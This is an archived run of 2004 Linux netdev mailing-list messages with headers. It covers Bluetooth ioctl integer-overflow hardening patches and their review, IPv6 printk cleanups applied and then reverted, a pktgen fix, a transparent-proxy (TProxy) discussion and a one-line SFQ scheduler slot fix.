charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1BIgSKO003405 X-archive-position: 3225 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 10 Feb 2004 13:05:43 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > In article <20040209112007.08023ba6.davem@redhat.com> (at Mon, 9 Feb 2004 11:20:07 -0800), "David S. Miller" says: > > > I think this is complete nonsense, and that the alignment is not > > necessary. I can't even come up with a performance reason as SLAB > > is going to align things to hw cache line size anyways. > > Agreed. Patch applied, arigato Yoshfuji-san. From marcel@holtmann.org Wed Feb 11 10:56:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 10:56:26 -0800 (PST) Received: from mail.holtmann.net (root@linux-bt.org [217.160.111.169]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BIuDKO004422 for ; Wed, 11 Feb 2004 10:56:14 -0800 Received: from pegasus (pD95253D7.dip.t-dialin.net [217.82.83.215]) by mail.holtmann.net (8.12.3/8.12.3/Debian-6.6) with ESMTP id i1BIujV4029528; Wed, 11 Feb 2004 19:56:46 +0100 Subject: Re: some bluetooth fixes From: Marcel Holtmann To: Andi Kleen Cc: BlueZ Mailing List , netdev@oss.sgi.com, viro@zenII.linux.org.uk In-Reply-To: <20040207172436.GB449@wotan.suse.de> References: <20040206050042.20a2b3b0.ak@suse.de> <1076079512.2806.40.camel@pegasus> <20040207032428.56ffbebc.ak@suse.de> <1076152411.14418.73.camel@pegasus> <20040207125723.391a1fcd.ak@suse.de> <1076173068.2670.4.camel@pegasus> <20040207172436.GB449@wotan.suse.de> Content-Type: multipart/mixed; boundary="=-mz3jZHPerZn9GJ4wsn1g" Message-Id: <1076525743.2792.1.camel@pegasus> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Wed, 11 Feb 2004 19:55:43 +0100 X-archive-position: 3226 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: marcel@holtmann.org Precedence: bulk X-list: netdev --=-mz3jZHPerZn9GJ4wsn1g Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi Andi, > Doing size checks after the multiply is too late - they could > have already overflowed. You have to check the raw value from the user. new patch is attached. Regards Marcel --=-mz3jZHPerZn9GJ4wsn1g Content-Disposition: attachment; filename=patch Content-Type: text/x-patch; name=patch; charset=iso-8859-15 Content-Transfer-Encoding: 7bit diff -Nru a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c --- a/net/bluetooth/hci_conn.c Wed Feb 11 19:39:20 2004 +++ b/net/bluetooth/hci_conn.c Wed Feb 11 19:39:20 2004 @@ -353,21 +353,24 @@ struct hci_conn_info *ci; struct hci_dev *hdev; struct list_head *p; - int n = 0, size; + int n = 0, size, err; if (copy_from_user(&req, (void *) arg, sizeof(req))) return -EFAULT; - if (!(hdev = hci_dev_get(req.dev_id))) - return -ENODEV; - - size = req.conn_num * sizeof(struct hci_conn_info) + sizeof(req); + if (req.conn_num * sizeof(*ci) > PAGE_SIZE * 2) + return -EINVAL; - if (verify_area(VERIFY_WRITE, (void *)arg, size)) - return -EFAULT; + size = sizeof(req) + req.conn_num * sizeof(*ci); if (!(cl = (void *) kmalloc(size, GFP_KERNEL))) return -ENOMEM; + + if (!(hdev = hci_dev_get(req.dev_id))) { + kfree(cl); + return -ENODEV; + } + ci = cl->conn_info; hci_dev_lock_bh(hdev); @@ -381,20 +384,21 @@ (ci + n)->out = c->out; (ci + n)->state = c->state; (ci + n)->link_mode = c->link_mode; - n++; + if (++n >= req.conn_num) + break; } hci_dev_unlock_bh(hdev); cl->dev_id = hdev->id; cl->conn_num = n; - size = n * sizeof(struct hci_conn_info) + sizeof(req); + size = sizeof(req) + n * sizeof(*ci); hci_dev_put(hdev); - copy_to_user((void *) arg, cl, size); + err = copy_to_user((void *) arg, cl, size); kfree(cl); - return 0; + return err ? -EFAULT : 0; } int hci_get_conn_info(struct hci_dev *hdev, unsigned long arg) @@ -407,9 +411,6 @@ if (copy_from_user(&req, (void *) arg, sizeof(req))) return -EFAULT; - if (verify_area(VERIFY_WRITE, ptr, sizeof(ci))) - return -EFAULT; - hci_dev_lock_bh(hdev); conn = hci_conn_hash_lookup_ba(hdev, req.type, &req.bdaddr); if (conn) { @@ -425,6 +426,5 @@ if (!conn) return -ENOENT; - copy_to_user(ptr, &ci, sizeof(ci)); - return 0; + return copy_to_user(ptr, &ci, sizeof(ci)) ? -EFAULT : 0; } diff -Nru a/net/bluetooth/hci_core.c b/net/bluetooth/hci_core.c --- a/net/bluetooth/hci_core.c Wed Feb 11 19:39:20 2004 +++ b/net/bluetooth/hci_core.c Wed Feb 11 19:39:20 2004 @@ -716,7 +716,7 @@ struct hci_dev_list_req *dl; struct hci_dev_req *dr; struct list_head *p; - int n = 0, size; + int n = 0, size, err; __u16 dev_num; if (get_user(dev_num, (__u16 *) arg)) @@ -724,14 +724,15 @@ if (!dev_num) return -EINVAL; - - size = dev_num * sizeof(*dr) + sizeof(*dl); - if (verify_area(VERIFY_WRITE, (void *) arg, size)) - return -EFAULT; + if (dev_num * sizeof(*dr) > PAGE_SIZE * 2) + return -EINVAL; + + size = sizeof(*dl) + dev_num * sizeof(*dr); if (!(dl = kmalloc(size, GFP_KERNEL))) return -ENOMEM; + dr = dl->dev_req; read_lock_bh(&hci_dev_list_lock); @@ -746,12 +747,12 @@ read_unlock_bh(&hci_dev_list_lock); dl->dev_num = n; - size = n * sizeof(*dr) + sizeof(*dl); + size = sizeof(*dl) + n * sizeof(*dr); - copy_to_user((void *) arg, dl, size); + err = copy_to_user((void *) arg, dl, size); kfree(dl); - return 0; + return err ? -EFAULT : 0; } int hci_get_dev_info(unsigned long arg) diff -Nru a/net/bluetooth/rfcomm/tty.c b/net/bluetooth/rfcomm/tty.c --- a/net/bluetooth/rfcomm/tty.c Wed Feb 11 19:39:20 2004 +++ b/net/bluetooth/rfcomm/tty.c Wed Feb 11 19:39:20 2004 @@ -349,7 +349,7 @@ struct rfcomm_dev_list_req *dl; struct rfcomm_dev_info *di; struct list_head *p; - int n = 0, size; + int n = 0, size, err; u16 dev_num; BT_DBG(""); @@ -360,10 +360,10 @@ if (!dev_num) return -EINVAL; - size = sizeof(*dl) + dev_num * sizeof(*di); + if (dev_num * sizeof(*di) > PAGE_SIZE * 4) + return -EINVAL; - if (verify_area(VERIFY_WRITE, (void *)arg, size)) - return -EFAULT; + size = sizeof(*dl) + dev_num * sizeof(*di); if (!(dl = kmalloc(size, GFP_KERNEL))) return -ENOMEM; @@ -389,9 +389,10 @@ dl->dev_num = n; size = sizeof(*dl) + n * sizeof(*di); - copy_to_user((void *) arg, dl, size); + err = copy_to_user((void *) arg, dl, size); kfree(dl); - return 0; + + return err ? -EFAULT : 0; } static int rfcomm_get_dev_info(unsigned long arg) @@ -563,8 +564,10 @@ set_bit(RFCOMM_TTY_ATTACHED, &dev->flags); err = rfcomm_dlc_open(dlc, &dev->src, &dev->dst, dev->channel); - if (err < 0) + if (err < 0) { + rfcomm_dev_put(dev); return err; + } /* Wait for DLC to connect */ add_wait_queue(&dev->wait, &wait); @@ -588,6 +591,9 @@ } set_current_state(TASK_RUNNING); remove_wait_queue(&dev->wait, &wait); + + if (err < 0) + rfcomm_dev_put(dev); return err; } --=-mz3jZHPerZn9GJ4wsn1g-- From davem@redhat.com Wed Feb 11 11:16:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 11:16:31 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BJGKKO005606 for ; Wed, 11 Feb 2004 11:16:20 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1BJGHb06729; Wed, 11 Feb 2004 14:16:17 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1BJGHi26601; Wed, 11 Feb 2004 14:16:17 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1BJFhkC004572; Wed, 11 Feb 2004 14:15:43 -0500 Date: Wed, 11 Feb 2004 11:16:16 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH] IPV6: clean-up ndisc printk's Message-Id: <20040211111616.34c18a2c.davem@redhat.com> In-Reply-To: <20040210.164650.109511390.yoshfuji@linux-ipv6.org> References: <20040210.164650.109511390.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1BJGKKO005606 X-archive-position: 3227 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 10 Feb 2004 16:46:50 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > D: print KERN_xxx appropriately. > D: put net_ratelimit() inside the macro. > D: re-arrange levels. Looks OK, applied. From davem@redhat.com Wed Feb 11 11:18:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 11:18:36 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BJIQKO006033 for ; Wed, 11 Feb 2004 11:18:26 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1BJIOb07900; Wed, 11 Feb 2004 14:18:24 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1BJINi27460; Wed, 11 Feb 2004 14:18:23 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1BJHnkC005498; Wed, 11 Feb 2004 14:17:50 -0500 Date: Wed, 11 Feb 2004 11:18:23 -0800 From: "David S. Miller" To: "David S. Miller" Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: Re: [PATCH] IPV6: clean-up ndisc printk's Message-Id: <20040211111823.2aa480b5.davem@redhat.com> In-Reply-To: <20040211111616.34c18a2c.davem@redhat.com> References: <20040210.164650.109511390.yoshfuji@linux-ipv6.org> <20040211111616.34c18a2c.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1BJIQKO006033 X-archive-position: 3228 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 11 Feb 2004 11:16:16 -0800 "David S. Miller" wrote: > On Tue, 10 Feb 2004 16:46:50 +0900 (JST) > YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > > > D: print KERN_xxx appropriately. > > D: put net_ratelimit() inside the macro. > > D: re-arrange levels. Actually, no, this makes GCC upset. I have to revert the patch. Please fix this: net/ipv6/ndisc.c:1283:40: pasting "(" and "KERN_ERR" does not give a valid preprocessing token net/ipv6/ndisc.c:1442:31: pasting "(" and "KERN_ERR" does not give a valid preprocessing token Thanks. From ak@suse.de Wed Feb 11 11:53:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 11:53:51 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BJrTKO008015 for ; Wed, 11 Feb 2004 11:53:30 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 236391AFE31; Wed, 11 Feb 2004 20:17:58 +0100 (CET) Date: Sun, 15 Feb 2004 00:25:13 +0100 From: Andi Kleen To: Marcel Holtmann Cc: bluez-devel@lists.sourceforge.net, netdev@oss.sgi.com, viro@zenII.linux.org.uk Subject: Re: some bluetooth fixes Message-Id: <20040215002513.7c6fc532.ak@suse.de> In-Reply-To: <1076525743.2792.1.camel@pegasus> References: <20040206050042.20a2b3b0.ak@suse.de> <1076079512.2806.40.camel@pegasus> <20040207032428.56ffbebc.ak@suse.de> <1076152411.14418.73.camel@pegasus> <20040207125723.391a1fcd.ak@suse.de> <1076173068.2670.4.camel@pegasus> <20040207172436.GB449@wotan.suse.de> <1076525743.2792.1.camel@pegasus> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3229 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Wed, 11 Feb 2004 19:55:43 +0100 Marcel Holtmann wrote: > Hi Andi, > > > Doing size checks after the multiply is too late - they could > > have already overflowed. You have to check the raw value from the user. > > new patch is attached. + if (req.conn_num * sizeof(*ci) > PAGE_SIZE * 2) + return -EINVAL; This can still overflow. It should be if (req.conn_num > (PAGE_SIZE * 2)/sizeof(*ci)) return -EINVAL -Andi From piglet@sch.bme.hu Wed Feb 11 11:59:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 11:59:22 -0800 (PST) Received: from balu.sch.bme.hu (balu.sch.bme.hu [152.66.208.40]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BJx6KO008617 for ; Wed, 11 Feb 2004 11:59:07 -0800 Received: from balu.sch.bme.hu (localhost [127.0.0.1]) by balu.sch.bme.hu (8.12.11/8.12.11) with ESMTP id i1BJwcZq013147; Wed, 11 Feb 2004 20:58:38 +0100 (CET) Received: (from piglet@localhost) by balu.sch.bme.hu (8.12.11/8.12.9/Submit) id i1BJwc5r013141; Wed, 11 Feb 2004 20:58:38 +0100 (CET) Date: Wed, 11 Feb 2004 20:58:38 +0100 From: KOVACS Krisztian To: Jambunathan Kalyanasundaram Cc: Henrik Nordstrom , netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: TProxy, 2.4 Kernel and NetFilter Message-ID: <20040211195838.GA11552@sch.bme.hu> Mail-Followup-To: Jambunathan Kalyanasundaram , Henrik Nordstrom , netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 3230 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hidden@sch.bme.hu Precedence: bulk X-list: netdev Hi, On Wed, Feb 11, 2004 at 08:49:33AM +0100, Henrik Nordstrom wrote: > > 2) But if I am not really interested in the overheads > > imposed by the NetFilter, the only option is to patch > > the Linux kernel with Balazs Scheidler's patch. > > Not sure this has less overhead. I'm sure it hasn't. TProxy was never intended to be a "faster redirect", or something like that. If you do not care about almost full transparent proxying, you don't need TProxy at all. The TProxy patch can be used to make the proxy transparent from both sides: the client sends the packets to the server's IP, and the server sees packets coming from the client's IP. However, this needs user-space support in the proxy itself. And Gianni Tedesco's latest TProxy support patch for Squid is known to be broken... > > If I don't like something as heavyweight as Netfilter > > and something that is as "non standard" as patching > > the kernel, are there any ways out ? > > Yes, by configuring the client to use the proxy. Completely true. This is _the_ way to go if you can set all clients to use the proxy. > If it is a normal Internet proxy environment where the number of clients > are limited, and the proxy supports per-user selection of the outgoing > address (Squid does) then it is possible with the help of NAT. > > 1. Set up as many IP aliases on the proxy server as you have clients. Use > one of the unassigned networks. > > 2. Configure the proxy to use one IP alias per client IP address. > > 3. Configure iptables NAT rules in OUTPUT to NAT these IP aliases back to > the client IP address. Hmm... What a solution! :) > If it is a reverse proxy or other environment where the client addresses > are not limited then this obviously can not be done and you must use the > tproxy patch. As I wrote, the patch for Squid would need some fixes before actually using it... Unfortunately I don't know enough about Squid to be able to make those fixes. -- KOVACS Krisztian From davem@redhat.com Wed Feb 11 12:20:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 12:20:19 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BKK6KO013146 for ; Wed, 11 Feb 2004 12:20:07 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1BKK4b08599; Wed, 11 Feb 2004 15:20:04 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1BKK4i20077; Wed, 11 Feb 2004 15:20:04 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1BKJUkC008387; Wed, 11 Feb 2004 15:19:30 -0500 Date: Wed, 11 Feb 2004 12:20:03 -0800 From: "David S. Miller" To: Robert Olsson Cc: netdev@oss.sgi.com Subject: Re: [PATCH] pktgen unaligned access on IA-64 Message-Id: <20040211122003.5c5d43f3.davem@redhat.com> In-Reply-To: <16425.7377.210243.50268@robur.slu.se> References: <16425.7377.210243.50268@robur.slu.se> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3231 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 10 Feb 2004 19:02:57 +0100 Robert Olsson wrote: > Grant Grundler spotted and cured this. Applied, thanks. From miguel@cetuc.puc-rio.br Wed Feb 11 12:22:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 12:22:36 -0800 (PST) Received: from mamona.cetuc.puc-rio.br (mamona.cetuc.puc-rio.br [139.82.74.4]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BKMOKO013608 for ; Wed, 11 Feb 2004 12:22:26 -0800 Received: (from root@localhost) by mamona.cetuc.puc-rio.br (8.11.6/linuxconf) id i1BKNsv19170 for ; Wed, 11 Feb 2004 18:23:54 -0200 Received: from [139.82.28.34] (pitanga.ldhs.cetuc.puc-rio.br [139.82.28.34]) by mamona.cetuc.puc-rio.br (8.11.6/linuxconf) with ESMTP id i1BKNp318936 for ; Wed, 11 Feb 2004 18:23:52 -0200 Subject: [Fwd: [patch] fix slot clash in sch_sfq.c] From: Miguel Freitas To: netdev@oss.sgi.com Content-Type: multipart/mixed; boundary="=-kIJdkkgwUcfHpT4f9oCD" Message-Id: <1076532461.19204.50.camel@pitanga.ldhs.cetuc.puc-rio.br> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) Date: Wed, 11 Feb 2004 18:47:41 -0200 X-AntiVirus: scanned for viruses by AMaViS 0.2.1 (http://amavis.org/) X-archive-position: 3232 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: miguel@cetuc.puc-rio.br Precedence: bulk X-list: netdev --=-kIJdkkgwUcfHpT4f9oCD Content-Type: text/plain Content-Transfer-Encoding: 7bit I better send a copy of this one to the mailing list... please cc me, i'm not subscribed. regards, Miguel --=-kIJdkkgwUcfHpT4f9oCD Content-Disposition: inline Content-Description: Forwarded message - [patch] fix slot clash in sch_sfq.c Content-Type: message/rfc822 Subject: [patch] fix slot clash in sch_sfq.c From: Miguel Freitas To: kuznet@ms2.inr.ac.ru Cc: davem@redhat.com Content-Type: multipart/mixed; boundary="=-IhvvO/pwTB7MEDV3my7O" Message-Id: <1076508824.19201.25.camel@pitanga.ldhs.cetuc.puc-rio.br> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) Date: Wed, 11 Feb 2004 12:13:45 -0200 --=-IhvvO/pwTB7MEDV3my7O Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi Alexey, Hi David, I've found a slot "leak" in sch_sfq.c that occurs with current 2.4 and 2.6 kernels. After dequeueing the last skb from a given slot, this slot might be reused by a different hash (say new_hash). However the old hash (q->ht[old_hash]) still points to the (now) reused slot. When new skb's arrive with old_hash they will be enqueued at the same slot as new_hash skb's (that is, q->ht[old_hash] == q->ht[new_hash]). This produce a "slot clash" (opposed to a "hash clash"), severely affecting the effectiveness of SFQ to provide fairness. The attached one line patch fixes it, freeing the slot when last skb is dequeued. Note: I've noticed this problem while testing a fixed hash function of the IP. the number of active slots didn't matched the number of active IP clients. I have created a small standalone application, using sch_sfq.c, to reproduce and debug this problem. I may provide this application and a small data set (sequence of enqueues/dequeues) that trigger the problem, let me know if you need it. regards, Miguel Freitas --=-IhvvO/pwTB7MEDV3my7O Content-Disposition: attachment; filename=sfq-slot-clash-fix.patch Content-Type: text/x-patch; name=sfq-slot-clash-fix.patch; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit --- sch_sfq.orig 2004-02-09 11:10:43.000000000 -0200 +++ sch_sfq.c 2004-02-11 02:32:06.000000000 -0200 @@ -338,6 +338,7 @@ /* Is the slot empty? */ if (q->qs[a].qlen == 0) { + q->ht[q->hash[a]] = SFQ_DEPTH; a = q->next[a]; if (a == old_a) { q->tail = SFQ_DEPTH; --=-IhvvO/pwTB7MEDV3my7O-- --=-kIJdkkgwUcfHpT4f9oCD-- From davem@redhat.com Wed Feb 11 12:22:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 12:22:39 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BKMTKO013618 for ; Wed, 11 Feb 2004 12:22:29 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1BKMRb09732; Wed, 11 Feb 2004 15:22:27 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1BKMRi20894; Wed, 11 Feb 2004 15:22:27 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1BKLrkC009460; Wed, 11 Feb 2004 15:21:53 -0500 Date: Wed, 11 Feb 2004 12:22:26 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH] IPV6: spelling correction Message-Id: <20040211122226.4332da52.davem@redhat.com> In-Reply-To: <20040211.032802.74694162.yoshfuji@linux-ipv6.org> References: <20040211.032802.74694162.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1BKMTKO013618 X-archive-position: 3233 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 11 Feb 2004 03:28:02 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > D: spelling correction for net/ipv6 > D: This patch also removes some XXX. Applied, thank you. From marcel@holtmann.org Wed Feb 11 12:47:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 12:47:42 -0800 (PST) Received: from mail.holtmann.net (root@linux-bt.org [217.160.111.169]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1BKlTKO015625 for ; Wed, 11 Feb 2004 12:47:29 -0800 Received: from pegasus (pD95253D7.dip.t-dialin.net [217.82.83.215]) by mail.holtmann.net (8.12.3/8.12.3/Debian-6.6) with ESMTP id i1BKm3V4030824; Wed, 11 Feb 2004 21:48:04 +0100 Subject: Re: some bluetooth fixes From: Marcel Holtmann To: Andi Kleen Cc: BlueZ Mailing List , netdev@oss.sgi.com, viro@zenII.linux.org.uk In-Reply-To: <20040215002513.7c6fc532.ak@suse.de> References: <20040206050042.20a2b3b0.ak@suse.de> <1076079512.2806.40.camel@pegasus> <20040207032428.56ffbebc.ak@suse.de> <1076152411.14418.73.camel@pegasus> <20040207125723.391a1fcd.ak@suse.de> <1076173068.2670.4.camel@pegasus> <20040207172436.GB449@wotan.suse.de> <1076525743.2792.1.camel@pegasus> <20040215002513.7c6fc532.ak@suse.de> Content-Type: multipart/mixed; boundary="=-NfNX0DxuTNen//JZIYqY" Message-Id: <1076532421.3041.2.camel@pegasus> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Wed, 11 Feb 2004 21:47:01 +0100 X-archive-position: 3234 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: marcel@holtmann.org Precedence: bulk X-list: netdev --=-NfNX0DxuTNen//JZIYqY Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi Andi, > + if (req.conn_num * sizeof(*ci) > PAGE_SIZE * 2) > + return -EINVAL; > > This can still overflow. It should be > > if (req.conn_num > (PAGE_SIZE * 2)/sizeof(*ci)) > return -EINVAL thanks for reviewing the patch again. The fixed version is only attached for control. It goes out to Dave in the next minutes. Regards Marcel --=-NfNX0DxuTNen//JZIYqY Content-Disposition: attachment; filename=patch Content-Type: text/plain; name=patch; charset=iso-8859-15 Content-Transfer-Encoding: 7bit ===== net/bluetooth/hci_conn.c 1.9 vs edited ===== --- 1.9/net/bluetooth/hci_conn.c Tue Jan 13 03:50:09 2004 +++ edited/net/bluetooth/hci_conn.c Wed Feb 11 21:00:52 2004 @@ -353,21 +353,24 @@ struct hci_conn_info *ci; struct hci_dev *hdev; struct list_head *p; - int n = 0, size; + int n = 0, size, err; if (copy_from_user(&req, (void *) arg, sizeof(req))) return -EFAULT; - if (!(hdev = hci_dev_get(req.dev_id))) - return -ENODEV; - - size = req.conn_num * sizeof(struct hci_conn_info) + sizeof(req); + if (!req.conn_num || req.conn_num > (PAGE_SIZE * 2) / sizeof(*ci)) + return -EINVAL; - if (verify_area(VERIFY_WRITE, (void *)arg, size)) - return -EFAULT; + size = sizeof(req) + req.conn_num * sizeof(*ci); if (!(cl = (void *) kmalloc(size, GFP_KERNEL))) return -ENOMEM; + + if (!(hdev = hci_dev_get(req.dev_id))) { + kfree(cl); + return -ENODEV; + } + ci = cl->conn_info; hci_dev_lock_bh(hdev); @@ -381,20 +384,21 @@ (ci + n)->out = c->out; (ci + n)->state = c->state; (ci + n)->link_mode = c->link_mode; - n++; + if (++n >= req.conn_num) + break; } hci_dev_unlock_bh(hdev); cl->dev_id = hdev->id; cl->conn_num = n; - size = n * sizeof(struct hci_conn_info) + sizeof(req); + size = sizeof(req) + n * sizeof(*ci); hci_dev_put(hdev); - copy_to_user((void *) arg, cl, size); + err = copy_to_user((void *) arg, cl, size); kfree(cl); - return 0; + return err ? -EFAULT : 0; } int hci_get_conn_info(struct hci_dev *hdev, unsigned long arg) @@ -407,9 +411,6 @@ if (copy_from_user(&req, (void *) arg, sizeof(req))) return -EFAULT; - if (verify_area(VERIFY_WRITE, ptr, sizeof(ci))) - return -EFAULT; - hci_dev_lock_bh(hdev); conn = hci_conn_hash_lookup_ba(hdev, req.type, &req.bdaddr); if (conn) { 